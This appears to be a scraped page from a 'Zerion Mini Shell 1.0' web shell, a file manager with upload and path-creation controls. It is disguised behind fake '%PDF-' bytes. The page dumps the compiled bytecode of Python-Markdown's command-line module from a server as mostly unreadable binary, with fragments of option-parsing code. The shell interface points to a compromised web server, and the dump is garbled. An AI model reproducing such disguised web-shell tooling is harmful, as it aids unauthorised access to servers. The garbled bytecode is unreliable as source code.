%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/markdown/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/markdown/__pycache__/__main__.cpython-312.pyc

�

���e����ddlmZddlZddlZddlZddlZddlZ	ddlmZ	ddl
Z
ddl
mZmZmZe
j"d�Zd
d�Zd�Zed	k(re�yy#e
$r	ddlmZ	n#e
$r	ddlmZ	YnwxYwY�UwxYw)�)�annotationsN)�unsafe_load)�load)�DEBUG�WARNING�CRITICAL�MARKDOWNc	�Z�d}d}dtjz}tj|||��}|j	ddddd	d
��|j	dd
dd��|j	dddddd��|j	dddddd��|j	dd d!d"d#d$�%�|j	d&d'd(dd)d*��|j	d+d,t
d-t
d.zd/d0�1�|j	d2d3d-td/d4�5�|j	d6d-td/d7�5�|j||�\}}t|�d8k(rd}n|d8}|jsg|_
i}|jrBtj|jd9|j�:�5}		t|	�}	ddd�||j$|j||j|j&|j(d=�}||j*fS#t $r-}
d;|jz}|f|
j"d<dz|
_�d}
~
wwxYw#1swY��xYw)>zE
    Define and parse `optparse` options for command-line usage.
    zN%prog [options] [INPUTFILE]
       (STDIN is assumed if no INPUTFILE is given)zUA Python implementation of John Gruber's Markdown. https://Python-Markdown.github.io/z	%%prog %s)�usage�description�versionz-fz--file�filenameNz0Write output to OUTPUT_FILE. Defaults to STDOUT.�OUTPUT_FILE)�dest�default�help�metavarz-ez
--encoding�encodingz$Encoding for input and output files.)rrz-oz--output_format�
output_format�xhtml�
OUTPUT_FORMATz.Use output format 'xhtml' (default) or 'html'.)rrrrz-nz--no_lazy_ol�lazy_ol�store_falseTz.Observe number of first item of ordered lists.)r�actionrrz-xz--extension�append�
extensionszLoad extension EXTENSION.�	EXTENSION)rrrrz-cz--extension_configs�
configfileaqRead extension configurations from CONFIG_FILE. CONFIG_FILE must be of JSON or YAML format. YAML format requires that a python YAML library be installed. The parsed JSON or YAML must result in a python dictionary which would be accepted by the 'extension_configs' keyword on the markdown.Markdown class. The extensions must also be loaded with the `--extension` option.�CONFIG_FILEz-qz--quiet�store_const�
�verbosezSuppress all warnings.)rr�constrrz-vz	--verbosezPrint all warnings.)rr#rrz--noisyzPrint debug messages.r�r)�moderz(Failed parsing extension config file: %s�)�input�outputr�extension_configsrrr)�markdown�__version__�optparse�OptionParser�
add_optionrrr�
parse_args�lenrr�codecs�openr�	yaml_load�	Exception�argsrrrr")
r5�valuesr�desc�ver�parser�options�
input_filer)�fp�e�message�optss
             �3/usr/lib/python3/dist-packages/markdown/__main__.py�
parse_optionsrA.s���
6�E�0�D�
��,�,�
,�C�
�
"�
"��D�#�
N�F�
���d�H�:�t�M�+��-����d�L�z�A��D�
���d�-�O�%��K��M����d�N��*�D�K��M����d�M�(��6���M�
���d�1�'��.�,��
-����d�I�x�*�(�2�+�I�3��5����d�K�*�'�	�0��2����i�*�%�i�2��4��'�'��f�5�O�W�d�
�4�y�A�~��
��!�W�
������������
�[�[����S�7�3C�3C�
�		�
�
�$-�b�M�!�			���"�"��(�(�.��$�$� �.�.��?�?��D����� � ��!�
�D�!�,�,�-��!��a�f�f�Q�R�j�0�����	
��		�		�s*�H!�
G(�(	H�1(H�H�H!�!H*c��t�\}}|stjd�tj	|�tj�}tj|�|tkrPtjd�tjd�tjd�}|j|�tjdi|��y)z#Run Markdown from the command line.�rTzpy.warningsN�)rA�sys�exit�logger�setLevel�logging�
StreamHandler�
addHandlerr�warnings�filterwarnings�captureWarnings�	getLoggerr*�markdownFromFile)r:�
logging_level�console_handler�warn_loggers    r@�runrTs���+�_��G�]�������
�O�O�M�"��+�+�-�O�
���o�&�������	�*�����%��'�'�
�6������/�
���(��(��__main__)NN)�
__future__rrEr,r1rLr*�yamlrr3�ImportErrorr�jsonrIrrrrOrGrArT�__name__rDrUr@�<module>r\s���(#�
��
���+�.��,�,�	��	�	�:�	&��N!�b)�*�z���E���i�+�+�*���+�*�+��	+�s5�A�A8�A$�#A8�$A2�/A8�1A2�2A8�7A8

Zerion Mini Shell 1.0